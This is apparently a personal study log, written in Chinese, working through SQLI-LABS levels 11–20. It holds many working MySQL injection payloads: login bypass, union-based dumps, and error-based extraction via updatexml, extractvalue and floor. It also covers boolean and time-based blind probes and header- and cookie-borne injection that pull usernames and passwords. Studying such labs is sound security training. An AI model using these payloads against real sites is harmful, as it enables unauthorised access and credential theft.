学习SQLI-LABS记录(11-20)
SQLI-LABS 11-20
- 学习SQLI-LABS记录(11-20)
- Less 11 POST-Error Based-Single Quote-String
- Less 12 POST-Error Based-Double Quote-String-With Twist
- Less 13 POST-Double Injection-Single Quote-String-With Twist
- Less 14 POST-Double Injection-Double Quote-String-With Twist
- Less 15 POST-Blind-Boolian/Time-Single Quotes
- Less 16 POST-Blind-Boolian/Time-Double Quotes
- Less 17 POST-Update Quotes-Error Based-Single Quotes
- Less 18 POST-Header Injections-Uagent Field-Error Based
- Less 19 POST-Header Injections-Referer Field-Error Based
- Less 20 POST-Cookie Injections-Uagent Field-Error Based
Less 11 POST-Error Based-Single Quote-String
当我们输入一组正确的用户名和密码,如admin:admin
后:
页面显示登录成功。
既然是post
型注入,我们应该再输入用户名和密码的地方寻找注入点。
我们输入admin:admin\
后:
发现网页回显有报错,而且知道了密码的闭合方式是单引号。
那既然密码处有注入点,那我们就可以试试万能密码。
用Burp抓到网页信息后,把密码改成:
passwd=123456' or 1=1--+
发现我们只需要知道正确的用户名,在密码后加入or 1=1
,即使密码即使错误也可以登录。
而且输入:
passwd=12346' union select 1,2--+
发现还可以使用联合注入来爆我们想要的数据。
比如爆库名:
passwd=a123' union select 1,database()--+
爆security的所有表名:
passwd=a123' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database())--+
爆users的所有字段名:
passwd=a123' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = "users")--+
爆users所有用户id,用户名和密码:
passwd=a123' union select 1,group_concat(id,0x3a,username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E) from users--+
Less 12 POST-Error Based-Double Quote-String-With Twist
这一关和上一关基本一样,只是这一关的闭合方式变成了")
。
依旧可以使用我们的万能密码:
passwd=12346") union select 1,2--+
依旧可以使用联合注入来爆我们想要的数据。
爆库名:
passwd=a123") union select 1,database()--+
爆security的所有表名:
passwd=a123") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database())--+
爆users的所有字段名:
passwd=a123") union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')--+
爆users所有用户id,用户名和密码:
passwd=a123") union select 1,group_concat(id,0x3a,username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E) from users--+
Less 13 POST-Double Injection-Single Quote-String-With Twist
在我们用正确的用户名和密码登录后发现:
页面不会显示你的有户名和密码了,那么联合注入是用不了。
依旧可以用万能密码登录账号:
passwd=dsa') or 1=1--+
但是在我们输入admin:admin\
后:
可以发现页面任然是有错误回显的。
那我们就可以考虑报错注入。
1、利用updatexml进行报错注入:
爆表名:
passwd=dsa') and (select updatexml(1,concat(0x7e,(select database()),0x7e),1))--+
爆security的表名:
passwd=dsa') and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1))--+
爆users的所有字段名:
passwd=dsa') and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name="users"),0x7e),1))--+
爆users所有用户id,用户名和密码:
因为语句对输出的字符长度做了限制,所以用户名和密码就只好一个一个地爆了。
passwd=dsa') and (select updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1))--+
2、利用ExtractValue()进行报错注入:
爆库名:
passwd=dsa') and extractvalue(1, concat(0x7e,(select database()),0x7e))--+
爆security的表名:
passwd=dsa') and extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e))--+
爆users的所有字段名:
passwd=dsa') and extractvalue(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name="users"),0x7e))--+
爆users所有用户id,用户名和密码:
因为语句对输出的字符长度做了限制,所以用户名和密码就只好一个一个地爆了。
passwd=dsa') and extractvalue(1, concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e))--+
3、利用floor()进行报错注入:
爆库名:
passwd=dsa') and (select 1 from (select count(*), concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
爆security的表名:
因为字符限制用不了group_concat,所以表名就一个一个爆。
passwd=dsa') and (select 1 from (select count(*), concat((select table_name from information_schema.tables where table_schema = database() limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
爆users的所有字段名:
因为字符限制用不了group_concat,所以列名就一个一个爆。
passwd=dsa') and (select 1 from (select count(*), concat((select column_name from information_schema.columns where table_schema = database() and table_name = "users" limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
爆users所有用户id,用户名和密码:
因为字符限制用不了group_concat,所以用户名和密码就一个一个爆。
passwd=dsa') and (select 1 from (select count(*), concat((select concat(username,0x3a,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
Less 14 POST-Double Injection-Double Quote-String-With Twist
这一关和上一关基本一样,就是闭合类型是")
。
我们依旧可以使用报错注入来得到我们想要的信息。
1、利用updatexml进行报错注入:
爆表名:
passwd=dsa") and (select updatexml(1,concat(0x7e,(select database()),0x7e),1))--+
爆security的表名:
passwd=dsa") and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1))--+
爆users的所有字段名:
passwd=dsa") and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users'),0x7e),1))--+
爆users所有用户id,用户名和密码:
因为语句对输出的字符长度做了限制,所以用户名和密码就只好一个一个地爆了。
passwd=dsa") and (select updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1))--+
2、利用ExtractValue()进行报错注入:
爆库名:
passwd=dsa") and extractvalue(1, concat(0x7e,(select database()),0x7e))--+
爆security的表名:
passwd=dsa") and extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e))--+
爆users的所有字段名:
passwd=dsa") and extractvalue(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users'),0x7e))--+
爆users所有用户id,用户名和密码:
因为语句对输出的字符长度做了限制,所以用户名和密码就只好一个一个地爆了。
passwd=dsa") and extractvalue(1, concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e))--+
3、利用floor()进行报错注入:
爆库名:
passwd=dsa") and (select 1 from (select count(*), concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
爆security的表名:
因为字符限制用不了group_concat,所以表名就一个一个爆。
passwd=dsa") and (select 1 from (select count(*), concat((select table_name from information_schema.tables where table_schema = database() limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
爆users的所有字段名:
因为字符限制用不了group_concat,所以列名就一个一个爆。
passwd=dsa") and (select 1 from (select count(*), concat((select column_name from information_schema.columns where table_schema = database() and table_name = 'users' limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
爆users所有用户id,用户名和密码:
因为字符限制用不了group_concat,所以用户名和密码就一个一个爆。
passwd=dsa") and (select 1 from (select count(*), concat((select concat(username,0x3a,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
Less 15 POST-Blind-Boolian/Time-Single Quotes
这一关我们用正确的用户名密码去登录:
页面有登陆成功的回显。
用错误的用户名密码和不规范的用户名密码去登录:
都是登录失败的页面,页面没有用户名和密码的回显,也没有报错的回显。
那我们的联合注入和报错注入在这一关都用不了了,但是登录成功和失败页面返回的图片是不一样的,我们可以利用这一点去进行布尔注入。
在注入前我们要先判断它的闭合类型。输入passwd=admin' #
后:
页面显示登录成功,可以判定闭合类型是'
。
我们输入:
passwd=admin' and length(database())=8--+
可以知道该数据库的名字的长度是8。
输入:
passwd=admin' and ascii(substr(database(),1,1))=115--+
可以知道该数据库名字的第一个字符的的ascii码是115,即’s’。
当然除了布尔注入,也可以使用延时注入来获取我们需要的信息。
比如输入:
passwd=admin' and if(length(database())=8,sleep(3),1)--+
可以发现页面的响应时间明显大于正常响应时间,因此可以知道该数据库的名字的长度是8。
还可以输入:
passwd=admin' and if(ascii(substr(database(),1,1))=115,sleep(3),1)--+
可以发现页面的响应时间明显大于正常响应时间,可以判断该数据库名字的第一个字符的的ascii码是115,即’s’。
Less 16 POST-Blind-Boolian/Time-Double Quotes
这一关和上一关基本一样,只是闭合方式不同。
输入passwd=admin")#
后:
可以确定是")
的闭合方式。
一样的我们可以用布尔注入或者延时注入。
布尔注入:
输入:
passwd=admin") and length(database())=8--+
通过页面的回显可以知道该数据库的名字的长度是8。
输入:
passwd=admin") and ascii(substr(database(),1,1))=115--+
通过页面的回显可以知道该数据库名字的第一个字符的的ascii码是115,即’s’。
延时注入:
输入:
passwd=admin") and if(length(database())=8,sleep(3),1)--+
通过对页面的响应时间判断,可以知道该数据库的名字的长度是8。
还可以输入:
passwd=admin") and if(ascii(substr(database(),1,1))=115,sleep(3),1)--+
通过对页面的响应时间判断,可以判断该数据库名字的第一个字符的的ascii码是115,即’s’。
Less 17 POST-Update Quotes-Error Based-Single Quotes
这一关的页面很有意思,是让我们跟新密码的页面。
我们可以通过分析源代码:
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
发现源代码对输入的用户名进行了过滤,但是没有对密码输入进行过滤,所以我们可以通过密码输入来对数据库进行爆破。
比如在新密码框输入:
1、利用updatexml进行报错注入:
爆库名:
123' and (select updatexml(1,concat(0x7e,(select database()),0x7e),1)) or '1'='1
爆security的表名:
123' and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1)) or '1'='1
爆users的所有字段名:
123' and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users'),0x7e),1)) or '1'='1
爆users用户id,用户名和密码:
123' and (select updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from (select username,password from users)aa limit 0,1),0x7e),1)) or '1'='1!
在这里如果直接使用之前的注入形式:' and (select updatexml(1,payload,1)) or '1'='1
。则会报错:You can't specify target table 'users' for update in FROM clause
。它的意思是在同一句话里不能先select
出同一个表中的某些值,再update
这个表。
所以我们对这句话进行了改造就是先构造一个select
来得到我们想要的字段,将其作为一张新的表,然后再利用select
去这个表里选出我们要的数据。
2、利用ExtractValue()进行报错注入:
爆库名:
123' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '1'='1
爆security的表名:
123' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '1'='1
爆users的所有字段名:
123' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e)) or '1'='1
爆users用户id,用户名和密码:
123' and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password) from (select username,password from users)aa limit 0,1),0x7e)) or '1'='1
这里同上如果直接使用之前的注入形式:' and extractvalue(1, payload) or '1'='1
。则会报错:You can't specify target table 'users' for update in FROM clause
。
所以我们对这句话也进行了和上面一样的改造。
3、利用floor()进行报错注入:
爆库名:
123' and (select 1 from (select count(*), concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
爆security的表名:
123' and (select 1 from (select count(*), concat((select table_name from information_schema.tables where table_schema = database() limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
爆users的所有字段名:
123' and (select 1 from (select count(*), concat((select column_name from information_schema.columns where table_schema = database() and table_name = 'users' limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
爆users用户id,用户名和密码:
因为语句对输出的字符长度做了限制,所以用户名和密码就只好一个一个地爆了。
123' and (select 1 from (select count(*), concat((select concat(username,0x3a,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
Less 18 POST-Header Injections-Uagent Field-Error Based
这一关是对用户的输入进行了过滤。
但是输入正确的用户名和密码后:
根据这个回显,我们可以考虑http头部注入,而且注入点应该在User-Agent
。
看看User-Agent数据的闭合方式:
在User-Agent后输入'
:
根据这个报错 near '192.168.48.1', 'admin')
,我们可以猜测它的sql语句应该是INSEERT INTO table VALUES('Referter','Ip','username')
,可以判断闭合方式是'
。
我们可以通过报错注入来得到我们要的信息:
1、利用updatexml进行报错注入:
注入形式如:' and (select updatexml(1,payload,1)) or '1'='1
。
爆库名:
' and (select updatexml(1,concat(0x7e,(select database()),0x7e),1)) or '1'='1
爆security的表名:
' and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1)) or '1'='1
爆users的所有字段名:
' and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users'),0x7e),1)) or '1'='1
爆users用户id,用户名和密码:
因为语句对输出的字符长度做了限制,所以用户名和密码就只好一个一个地爆了。
' and (select updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)) or '1'='1
2、利用ExtractValue()进行报错注入:
注入形式如:' and extractvalue(1, payload) or '1'='1
。
爆库名:
' and extractvalue(1, concat(0x7e,(select database()),0x7e)) or '1'='1
爆security的表名:
' and extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e)) or '1'='1
爆users的所有字段名:
' and extractvalue(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name="users"),0x7e)) or '1'='1
爆users用户id,用户名和密码:
因为语句对输出的字符长度做了限制,所以用户名和密码就只好一个一个地爆了。
' and extractvalue(1, concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e)) or '1'='1
3、利用floor()进行报错注入:
注入形式如:and (select 1 from (select count(*), concat((payload),floor(rand(0)*2))x from xxxx group by x)a) or '1'='1
。
爆库名:
' and (select 1 from (select count(*), concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
爆security的表名:
' and (select 1 from (select count(*), concat((select table_name from information_schema.tables where table_schema = database() limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
爆users的所有字段名:
' and (select 1 from (select count(*), concat((select column_name from information_schema.columns where table_schema = database() and table_name = 'users' limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
爆users用户id,用户名和密码:
因为语句对输出的字符长度做了限制,所以用户名和密码就只好一个一个地爆了。
' and (select 1 from (select count(*), concat((select concat(username,0x3a,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
Less 19 POST-Header Injections-Referer Field-Error Based
这一关和上一关一样是对用户的输入进行了过滤。
但是输入正确的用户名和密码后:
同样根据这个回显,我们可以考虑http头部注入,但是这次的注入点应该是Referer
。
我们在Referer
后输入'
:
根据这个报错 near '192.168.48.1')
,我们可以猜测它的sql语句应该是INSEERT INTO table VALUES('Referter','Ip',)
,可以判断闭合方式是'
。
现在我们可以通过报错注入来得到我们要的信息:
1、利用updatexml进行报错注入:
爆库名:
' and (select updatexml(1,concat(0x7e,(select database()),0x7e),1)) or '1'='1
爆security的表名:
' and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1)) or '1'='1
爆users的所有字段名:
' and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users'),0x7e),1)) or '1'='1
爆users用户id,用户名和密码:
因为语句对输出的字符长度做了限制,所以用户名和密码就只好一个一个地爆了。
' and (select updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)) or '1'='1
2、利用ExtractValue()进行报错注入:
爆库名:
' and extractvalue(1, concat(0x7e,(select database()),0x7e)) or '1'='1
爆security的表名:
' and extractvalue(1, concat(0x7e,(select database()),0x7e)) or '1'='1
爆users的所有字段名:
' and extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e)) or '1'='1
爆users用户id,用户名和密码:
因为语句对输出的字符长度做了限制,所以用户名和密码就只好一个一个地爆了。
' and extractvalue(1, concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e)) or '1'='1
3、利用floor()进行报错注入:
爆库名:
' and (select 1 from (select count(*), concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
爆security的表名:
' and (select 1 from (select count(*), concat((select table_name from information_schema.tables where table_schema = database() limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
爆users的所有字段名:
' and (select 1 from (select count(*), concat((select column_name from information_schema.columns where table_schema = database() and table_name = 'users' limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
爆users用户id,用户名和密码:
因为语句对输出的字符长度做了限制,所以用户名和密码就只好一个一个地爆了。
' and (select 1 from (select count(*), concat((select concat(username,0x3a,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
Less 20 POST-Cookie Injections-Uagent Field-Error Based
这一关我们输入正确的用户名和密码后:
发现有一个Delete Your Cookie!
的按键。点击后会回到登录页面。
我们可以大胆猜测这一关应该是跟cookie
有关了。
在cookie
后输入\
:
报错了,可以确定注入点在cooike,而且闭合方式是'
。
同样像前面两关一样用报错注入来获得我们想要的信息。
1、利用updatexml进行报错注入:
爆库名:
' and (select updatexml(1,concat(0x7e,(select database()),0x7e),1)) or '1'='1
爆security的表名:
' and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1)) or '1'='1
爆users的所有字段名:
' and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users'),0x7e),1)) or '1'='1
爆users用户id,用户名和密码:
因为语句对输出的字符长度做了限制,所以用户名和密码就只好一个一个地爆了。
' and (select updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)) or '1'='1
2、利用ExtractValue()进行报错注入:
爆库名:
' and extractvalue(1, concat(0x7e,(select database()),0x7e)) or '1'='1
爆security的表名:
' and extractvalue(1, concat(0x7e,(select database()),0x7e)) or '1'='1
爆users的所有字段名:
' and extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e)) or '1'='1
爆users用户id,用户名和密码:
因为语句对输出的字符长度做了限制,所以用户名和密码就只好一个一个地爆了。
' and extractvalue(1, concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e)) or '1'='1
3、利用floor()进行报错注入:
爆库名:
' and (select 1 from (select count(*), concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
爆security的表名:
' and (select 1 from (select count(*), concat((select table_name from information_schema.tables where table_schema = database() limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
爆users的所有字段名:
' and (select 1 from (select count(*), concat((select column_name from information_schema.columns where table_schema = database() and table_name = 'users' limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
爆users用户id,用户名和密码:
因为语句对输出的字符长度做了限制,所以用户名和密码就只好一个一个地爆了。
' and (select 1 from (select count(*), concat((select concat(username,0x3a,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1